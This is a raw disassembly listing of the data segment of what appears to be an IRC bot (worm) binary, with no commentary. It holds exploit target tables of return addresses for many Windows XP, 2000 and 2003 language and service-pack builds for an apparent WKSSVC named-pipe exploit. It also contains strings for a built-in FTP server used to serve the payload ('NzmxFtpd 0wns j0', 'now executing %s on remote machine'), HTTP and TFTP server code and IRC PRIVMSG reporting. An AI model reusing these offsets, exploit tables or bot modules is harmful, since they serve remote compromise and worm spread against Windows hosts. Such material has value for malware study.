		dd offset aWindowsXpSp01E ; "Windows XP	SP0+1 ENG"
		db 43h
; ---------------------------------------------------------------------------


loc_423D05:				; CODE XREF: seg001:00423D07j
		xor	eax, eax
		ja	short loc_423D05
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 1, 424DE0h, 77BD1F89h, 7FCh,	1, 424DCCh, 77BD1FA8h
		dd 7FCh, 1, 424DB8h, 77BD1FD6h,	7FCh, 1, 424DA4h, 77BD2195h
		dd 7FCh, 1, 424D90h, 77BD21B3h,	7FCh, 1, 424D7Ch, 77BD21E0h
		dd 7FCh, 1, 424D68h, 77BD220Ch,	7FCh, 1, 424D54h, 77BD2241h
		dd 7FCh, 1, 424D40h, 77BD22D2h,	7FCh, 1, 424D2Ch, 77BD28B2h
		dd 7FCh, 1, 424D18h, 77BD29ABh,	7FCh, 1, 424D04h, 77BD29E7h
		dd 7FCh, 1, 424CF0h, 77BD29F7h,	7FCh, 1, 424CDCh, 77BD2A03h
		dd 7FCh, 1, 424CC8h, 77BD2D6Dh,	7FCh, 1, 424CB4h, 77BD2DB3h
		dd 7FCh, 1, 424CA0h, 77BD2EC2h,	7FCh, 1, 424C8Ch, 77BD2EDDh
		dd 7FCh, 1, 424C78h, 77BD30AFh,	7FCh, 1, 424C64h, 77BD312Bh
		dd 7FCh, 1, 424C50h, 77BD3160h,	7FCh, 1, 424C3Ch, 77BD349Ah
		dd 7FCh, 1, 424C28h, 77BD34E4h,	7FCh, 1, 424C0Ch, 655B4F02h
		dd 7E7h, 0
		dd offset aWindowsUkXpPro ; "Windows uk	xp pro sp1 1"
		dd 77C01F89h, 7FCh, 1, 424BDCh,	77C01FA8h, 7FCh, 1, 424BC4h
		dd 77C01FD6h, 7FCh, 1, 424BACh,	77C02195h, 7FCh, 1, 424B94h
		dd 77C021B3h, 7FCh, 1, 424B7Ch,	77C021E0h, 7FCh, 1, 424B64h
		dd 77C0220Ch, 7FCh, 1, 424B4Ch,	77C02241h, 7FCh, 1, 424B34h
		dd 77C022D2h, 7FCh, 1, 424B18h,	77C028B2h, 7FCh, 1, 424AFCh
		dd 77C029ABh, 7FCh, 1, 424AE0h,	77C029E7h, 7FCh, 1, 424AC4h
		dd 77C029F7h, 7FCh, 1, 424AA8h,	77C02A03h, 7FCh, 1, 424A8Ch
		dd 77C02A39h, 7FCh, 1, 424A70h,	77C02D6Dh, 7FCh, 1, 424A54h
		dd 77C02DB3h, 7FCh, 1, 424A38h,	77C02EC2h, 7FCh, 1, 424A1Ch
		dd 77C02EDDh, 7FCh, 1, 424A00h,	77C030AFh, 7FCh, 1, 4249E4h
		dd 77C0312Bh, 7FCh, 1, 4249C8h,	77C03143h, 7FCh, 1, 4249ACh
		dd 77C03160h, 7FCh, 1, 424990h,	77C0349Ah, 7FCh, 1, 424974h
		dd 77C034E4h, 7FCh, 1, 42495Ch,	77B920FDh, 7FCh, 1, 424944h
		dd 77B9211Ch, 7FCh, 1, 42492Ch,	77B9214Ah, 7FCh, 1, 424914h
		dd 77B9230Ch, 7FCh, 1, 4248FCh,	77B9232Ah, 7FCh, 1, 4248E4h
		dd 77B92357h, 7FCh, 1, 4248CCh,	77B92383h, 7FCh, 1, 4248B4h
		dd 77B923B8h, 7FCh, 1, 42489Ch,	77B92448h, 7FCh, 1, 424880h
		dd 77B92AAAh, 7FCh, 1, 424864h,	77B92BA7h, 7FCh, 1, 424848h
		dd 77B92BE3h, 7FCh, 1, 42482Ch,	77B92BF3h, 7FCh, 1, 424810h
		dd 77B92BFFh, 7FCh, 1, 4247F4h,	77B92F78h, 7FCh, 1, 4247D8h
		dd 77B92FBEh, 7FCh, 1, 4247BCh,	77B930EFh, 7FCh, 1, 4247A0h
		dd 77B9310Dh, 7FCh, 1, 424784h,	77B9330Ch, 7FCh, 1, 424768h
		dd 77B93388h, 7FCh, 1, 42474Ch,	77B9339Eh, 7FCh, 1, 424730h
		dd 77B933BAh, 7FCh, 1, 424714h,	77B9373Dh, 7FCh, 1, 4246F8h
		dd 77B9378Ah, 7FCh, 1, 4246E0h,	77B920FDh, 7FCh, 1, 4246C8h
		dd 77B9211Ch, 7FCh, 1, 4246B0h,	77B9214Ah, 7FCh, 1, 424698h
		dd 77B9230Ch, 7FCh, 1, 424680h,	77B9232Ah, 7FCh, 1, 424668h
		dd 77B92357h, 7FCh, 1, 424650h,	77B92383h, 7FCh, 1, 424638h
		dd 77B923B8h, 7FCh, 1, 424620h,	77B92448h, 7FCh, 1, 424604h
		dd 77B92AAAh, 7FCh, 1, 4245E8h,	77B92BA7h, 7FCh, 1, 4245CCh
		dd 77B92BE3h, 7FCh, 1, 4245B0h,	77B92BF3h, 7FCh, 1, 424594h
		dd 77B92BFFh, 7FCh, 1, 424578h,	77B92F78h, 7FCh, 1, 42455Ch
		dd 77B92FBEh, 7FCh, 1, 424540h,	77B930EFh, 7FCh, 1, 424524h
		dd 77B9310Dh, 7FCh, 1, 424508h,	77B9330Ch, 7FCh, 1, 4244ECh
		dd 77B93388h, 7FCh, 1, 4244D0h,	77B9339Eh, 7FCh, 1, 4244B4h
		dd 77B933BAh, 7FCh, 1, 424498h,	77B9373Dh, 7FCh, 1, 42447Ch
		dd 77B9378Ah, 7FCh, 1, 424470h,	41414141h, 7FCh, 1, 424458h
		dd 77E14C29h, 7FCh, 1, 424440h,	77E3CB4Ch, 7FCh, 1, 424428h
		dd 77E42C75h, 7FCh, 1, 424410h,	77E3C256h, 7FCh, 1, 4243F8h
		dd 77E2AFC5h, 7FCh, 1, 4243E0h,	77E2492Bh, 7FCh, 1, 4243C8h
		dd 77E4FF15h, 7FCh, 1, 4243B0h,	77E33F4Dh, 7FCh, 1, 326E6957h
		dd 5053204Bh, 72462030h, 50206D6Fh, 54546168h, 312079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 322079h, 326E6957h, 5053204Bh, 72462032h, 50206D6Fh
		dd 54546168h, 312079h, 326E6957h, 5053204Bh, 72462033h
		dd 50206D6Fh, 54546168h, 312079h, 326E6957h, 5053204Bh
		dd 72462034h, 50206D6Fh, 54546168h, 332079h, 326E6957h
		dd 5053204Bh, 72462034h, 50206D6Fh, 54546168h, 322079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 312079h, 326E6957h, 5053204Bh, 72462034h, 50206D6Fh
		dd 54546168h, 312079h, 20536F44h, 41205058h, 4C4Ch, 646E6957h
		dd 2073776Fh, 32206B75h, 6520336Bh, 70732065h, 34322030h
		dd 0
aWindowsUk2k3Ee	db 'Windows uk 2k3 ee sp0 23',0
		align 4
aWindowsUk2k3_0	db 'Windows uk 2k3 ee sp0 22',0
		align 10h
aWindowsUk2k3_1	db 'Windows uk 2k3 ee sp0 21',0
		align 4
aWindowsUk2k3_2	db 'Windows uk 2k3 ee sp0 20',0
		align 4
aWindowsUk2k3_3	db 'Windows uk 2k3 ee sp0 19',0
		align 4
aWindowsUk2k3_4	db 'Windows uk 2k3 ee sp0 18',0
		align 10h
aWindowsUk2k3_5	db 'Windows uk 2k3 ee sp0 17',0
		align 4
aWindowsUk2k3_6	db 'Windows uk 2k3 ee sp0 16',0
		align 4
aWindowsUk2k3_7	db 'Windows uk 2k3 ee sp0 15',0
		align 4
aWindowsUk2k3_8	db 'Windows uk 2k3 ee sp0 14',0
		align 10h
aWindowsUk2k3_9	db 'Windows uk 2k3 ee sp0 13',0
		align 4
aWindowsUk2k_10	db 'Windows uk 2k3 ee sp0 12',0
		align 4
aWindowsUk2k_11	db 'Windows uk 2k3 ee sp0 11',0
		align 4
aWindowsUk2k_12	db 'Windows uk 2k3 ee sp0 10',0
		align 10h
aWindowsUk2k_13	db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_14	db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_15	db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_16	db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_17	db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_18	db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_19	db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_20	db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_21	db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se	db 'Windows uk 2k3 se sp0 24',0
		align 4
aWindowsUk2k_22	db 'Windows uk 2k3 se sp0 23',0
		align 10h
aWindowsUk2k_23	db 'Windows uk 2k3 se sp0 22',0
		align 4
aWindowsUk2k_24	db 'Windows uk 2k3 se sp0 21',0
		align 4
aWindowsUk2k_25	db 'Windows uk 2k3 se sp0 20',0
		align 4
aWindowsUk2k_26	db 'Windows uk 2k3 se sp0 19',0
		align 10h
aWindowsUk2k_27	db 'Windows uk 2k3 se sp0 18',0
		align 4
aWindowsUk2k_28	db 'Windows uk 2k3 se sp0 17',0
		align 4
aWindowsUk2k_29	db 'Windows uk 2k3 se sp0 16',0
		align 4
aWindowsUk2k_30	db 'Windows uk 2k3 se sp0 15',0
		align 10h
aWindowsUk2k_31	db 'Windows uk 2k3 se sp0 14',0
		align 4
aWindowsUk2k_32	db 'Windows uk 2k3 se sp0 13',0
		align 4
aWindowsUk2k_33	db 'Windows uk 2k3 se sp0 12',0
		align 4
aWindowsUk2k_34	db 'Windows uk 2k3 se sp0 11',0
		align 10h
aWindowsUk2k_35	db 'Windows uk 2k3 se sp0 10',0
		align 4
aWindowsUk2k_36	db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_37	db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_38	db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_39	db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_40	db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_41	db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_42	db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_43	db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_44	db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpP_0	db 'Windows uk xp pro sp1 25',0
		align 10h
aWindowsUkXpP_1	db 'Windows uk xp pro sp1 24',0
		align 4
aWindowsUkXpP_2	db 'Windows uk xp pro sp1 23',0
		align 4
aWindowsUkXpP_3	db 'Windows uk xp pro sp1 22',0
		align 4
aWindowsUkXpP_4	db 'Windows uk xp pro sp1 21',0
		align 10h
aWindowsUkXpP_5	db 'Windows uk xp pro sp1 20',0
		align 4
aWindowsUkXpP_6	db 'Windows uk xp pro sp1 19',0
		align 4
aWindowsUkXpP_7	db 'Windows uk xp pro sp1 18',0
		align 4
aWindowsUkXpP_8	db 'Windows uk xp pro sp1 17',0
		align 10h
aWindowsUkXpP_9	db 'Windows uk xp pro sp1 16',0
		align 4
aWindowsUkXp_10	db 'Windows uk xp pro sp1 15',0
		align 4
aWindowsUkXp_11	db 'Windows uk xp pro sp1 14',0
		align 4
aWindowsUkXp_12	db 'Windows uk xp pro sp1 13',0
		align 10h
aWindowsUkXp_13	db 'Windows uk xp pro sp1 12',0
		align 4
aWindowsUkXp_14	db 'Windows uk xp pro sp1 11',0
		align 4
aWindowsUkXp_15	db 'Windows uk xp pro sp1 10',0
		align 4
aWindowsUkXp_16	db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_17	db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_18	db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_19	db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_20	db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_21	db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_22	db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_23	db 'Windows uk xp pro sp1 2',0
aWindowsUkXpPro	db 'Windows uk xp pro sp1 1',0 ; DATA XREF: seg001:00423E90o
aWindows2000Sp4	db 'Windows 2000 SP4 GER FAT32',0
		align 4
aWindowsNlSp123	db 'Windows nl sp1 23',0
		align 4
aWindowsNlSp122	db 'Windows nl sp1 22',0
		align 10h
aWindowsNlSp121	db 'Windows nl sp1 21',0
		align 4
aWindowsNlSp120	db 'Windows nl sp1 20',0
		align 4
aWindowsNlSp119	db 'Windows nl sp1 19',0
		align 4
aWindowsNlSp118	db 'Windows nl sp1 18',0
		align 10h
aWindowsNlSp117	db 'Windows nl sp1 17',0
		align 4
aWindowsNlSp116	db 'Windows nl sp1 16',0
		align 4
aWindowsNlSp115	db 'Windows nl sp1 15',0
		align 4
aWindowsNlSp114	db 'Windows nl sp1 14',0
		align 10h
aWindowsNlSp113	db 'Windows nl sp1 13',0
		align 4
aWindowsNlSp112	db 'Windows nl sp1 12',0
		align 4
aWindowsNlSp111	db 'Windows nl sp1 11',0
		align 4
aWindowsNlSp110	db 'Windows nl sp1 10',0
		align 10h
aWindowsNlSp19	db 'Windows nl sp1 9',0
		align 4
aWindowsNlSp18	db 'Windows nl sp1 8',0
		align 4
aWindowsNlSp17	db 'Windows nl sp1 7',0
		align 4
aWindowsNlSp16	db 'Windows nl sp1 6',0
		align 10h
aWindowsNlSp15	db 'Windows nl sp1 5',0
		align 4
aWindowsNlSp14	db 'Windows nl sp1 4',0
		align 4
aWindowsNlSp13	db 'Windows nl sp1 3',0
		align 4
aWindowsNlSp12	db 'Windows nl sp1 2',0
		align 10h
aWindowsNlSp11	db 'Windows nl sp1 1',0
		align 4
aWindowsXpSp01E	db 'Windows XP SP0+1 ENG',0 ; DATA XREF: seg001:00423D00o
		align 4
aWindowsXpSp01G	db 'Windows XP SP0+1 GER+NL+IT+FR',0
		align 4
dword_424E2C	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_424E40	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_403C2B+243o
aSPipeWkssvc	db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_403C2B+1E4o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_403C2B+19Ao
		align 4
a_:					; DATA XREF: sub_403C2B+184o
					; sub_40517E+24Do
		unicode	0, <.>,0
aS_2		db '\\%s',0             ; DATA XREF: sub_403C2B+153o
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4041D7+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_4041D7+5B9o
					; sub_40CC09+534o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4041D7+5ACo
		align 4
unk_424EC8	db    2			; DATA XREF: sub_4041D7+561o
		db 52h,	2 dup(4Fh)
		db  54h	; T
		db 45h,	44h, 2
aSPortDNowExecu	db ' »»   %s, port:%d now executing %s on remote machine.',0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4041D7+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4041D7+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4041D7+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4041D7+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4041D7+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4041D7+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4041D7+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4041D7+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4041D7+3FDo
		align 10h
aList		db 'LIST',0             ; DATA XREF: sub_4041D7+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4041D7+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_4041D7+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4041D7+38Co
aI:					; DATA XREF: sub_4041D7+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4041D7+351o
aA:					; DATA XREF: sub_4041D7+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4041D7+326o
					; sub_4041D7+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4041D7+316o
		align 4
off_425064	dd offset dword_445750	; DATA XREF: sub_4041D7+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4041D7+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4041D7+2DEo
		align 4
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4041D7+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_4041D7+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4041D7+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_4041D7+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4041D7+286o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_4041D7+271o
					; seg001:0042A504o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_4041D7+260o
		align 4
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4041D7+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_404857+24o
					; sub_405A21+12Eo ...
		align 10h
unk_425100	db    2			; DATA XREF: sub_4048F1+3F8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorServerFai	db ' Error: server failed, returned: <%d>.',0
		align 4
asc_425144	db 0Dh,0Ah,0		; DATA XREF: sub_4048F1+2CFo
		align 4
asc_425148:				; DATA XREF: sub_4048F1+293o
					; sub_40CC09+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_4048F1+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404D4C+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404D4C+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_404D4C+97o
					; sub_4093C1+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404D4C+83o
		align 10h
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_404D4C:loc_404DB1o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_404D4C+5Eo
		align 4
unk_425368	db    2			; DATA XREF: sub_404ECE+28Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartW	db ' Failed to start worker thread, error: <%d>.',0
		align 4
unk_4253B4	db    2			; DATA XREF: sub_404ECE+20Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aWorkerThreadOf	db ' Worker thread of server thread: %d.',0
		align 4
asc_4253F8:				; DATA XREF: sub_404ECE+157o
					; seg001:0042C19Co
		unicode	0, <*>,0
asc_4253FC:				; DATA XREF: sub_404ECE+FBo
					; sub_40517E+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_4		db '%s%s',0             ; DATA XREF: sub_404ECE+EAo
					; sub_40517E+4D9o ...
		align 4
aS_3		db '%s',0               ; DATA XREF: sub_404ECE+3Ao
					; sub_408F0D+4Co ...
		align 4
off_42540C	dd offset dword_73255C	; DATA XREF: sub_404ECE+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40517E+663o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+648o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40517E+62Do
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40517E+59Eo
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40517E+573o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40517E:loc_4056A5o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40517E+520o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40517E+480o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+440o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40517E+40Ao
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40517E:loc_405546o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40517E+3C1o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40517E+37Ao
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+336o
					; sub_40517E+495o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40517E+314o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_40517E+2E7o
					; sub_40517E+41Co
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40517E+2BDo
aAm		db 'AM',0               ; DATA XREF: sub_40517E+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40517E+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_40517E+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40517E+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40517E+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_405900+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4258B0	dd 4000500h, 7868746Bh,	0dword_4258BC	dd 5B027302h, 5D1F491Fh, 66742820h, 702E7074h, 671F6C1Fh
					; DATA XREF: sub_405A21+47Fo
		dd 0BB022029h, 202002BBh, 6E617274h, 72656673h,	206F7420h
		dd 20732520h, 731F0220h, 65636375h, 75667373h, 20796C6Ch
		dd 706D6F63h, 6574656Ch, 2C021F64h, 666E6920h, 28203A6Fh
		dd 2E297325h, 0
unk_425914	db    2			; DATA XREF: sub_405A21+3B6o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileNotFoundSS	db 'File not found: %s (%s).',0
		align 4
dword_42594C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_405A21+399o
dword_425960	dd 5B027302h, 5D1F491Fh, 66742820h, 702E7074h, 671F6C1Fh
					; DATA XREF: sub_405A21+33Eo
		dd 0BB022029h, 202002BBh, 6E617274h, 72656673h,	206F7420h
		dd 20732520h, 621F0220h, 6E696765h, 676E696Eh, 202C021Fh
		dd 6F666E69h, 2528203Ah, 2E2973h
unk_4259A8	db    2			; DATA XREF: sub_405A21+15Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s.',0
		align 10h
unk_4259E0	db    2			; DATA XREF: sub_405A21+6Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_2	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_405A21+Fo
		align 10h
aW1		db 'w1',0               ; DATA XREF: sub_40656E+164o
		align 4
		dd 0
		db 2 dup(0)
aWkssvc_eng	db 'WKSSVC_Eng',0       ; DATA XREF: sub_402F48+1C8o
					; seg001:0040395Co
		align 4
		dd 4 dup(0)
dword_425A58	dd 1BDh							; sub_40CC09+2C4Cr ...
off_425A5C	dd offset sub_404143	; DATA XREF: sub_40656E+1E6r
dword_425A60	dd 0							; sub_402F48+202r ...
dword_425A64	dd 1		dword_425A68	dd 0				dd 3277h, 0
		dd 4B570000h, 43565353h, 68744F5Fh, 7265h, 4 dup(0)
		dd 1BDh, 40418Dh, 0
		dd 1, 0
		dd 77h,	0
		dd 4B570000h, 53414D53h, 53h, 5	dup(0)
		dd 1BDh, 403AC4h, 0
		dd 1, 0
		dd 3161h, 0
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
		dd 1BDh, 402F48h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	402F48h, 0
